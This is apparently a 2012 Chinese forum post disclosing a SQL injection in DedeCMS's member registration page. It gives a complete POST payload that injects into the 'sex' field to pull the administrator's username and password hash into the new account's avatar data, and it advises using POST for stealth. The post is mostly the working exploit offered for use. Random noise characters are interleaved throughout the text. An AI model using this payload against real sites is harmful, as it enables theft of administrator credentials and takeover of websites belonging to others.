dedecms版本 201211224 Q& f- ?: V! h7 |
2 y" X% Q7 Z6 S1 ^; G3 D需要magic_quotes_gpc=Off/ M6 |) L7 J+ P- Z9 B4 R7 s
' U* F' \! @) D6 ~! R应该是没有什么大危害的漏洞.6 i7 ~* w1 }/ c! v$ y$ A# Q/ Y
原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.3 b' g: a8 g5 ]0 e( v9 g
' d% i6 Y/ V, \" s. S6 J, U0 z
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
+ |3 M+ L& {4 W7 bPOST提交以下数据,其实不用POST提交的,这样隐蔽点.
; I7 X# S. ?1 \/ j0 C# w& U* W1 s' }) X( v& B" O8 v0 S2 t
http:///de/member/reg_new.php* R j! f9 Q# w5 ?9 a [3 P% l
( j4 x# a4 g5 y3 h0 q6 `9 O
POST9 T2 |$ @# u( Y$ H# }* j) w
0 E6 }, Q: Y7 {' o" ?& t
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=: _( p& D0 g6 m. w! Q. y. ?0 q
0 u2 M+ `) x/ Y/ ]0 ~% M; {6 T
成功注册后,头像处里面有好玩的信息.
2 o" E/ P* s1 m2 b! r
2 k2 T% _9 j8 T9 ]0 L0 G! ^; o |
发表于 2012-12-5 10:03:32
收藏
支持
反对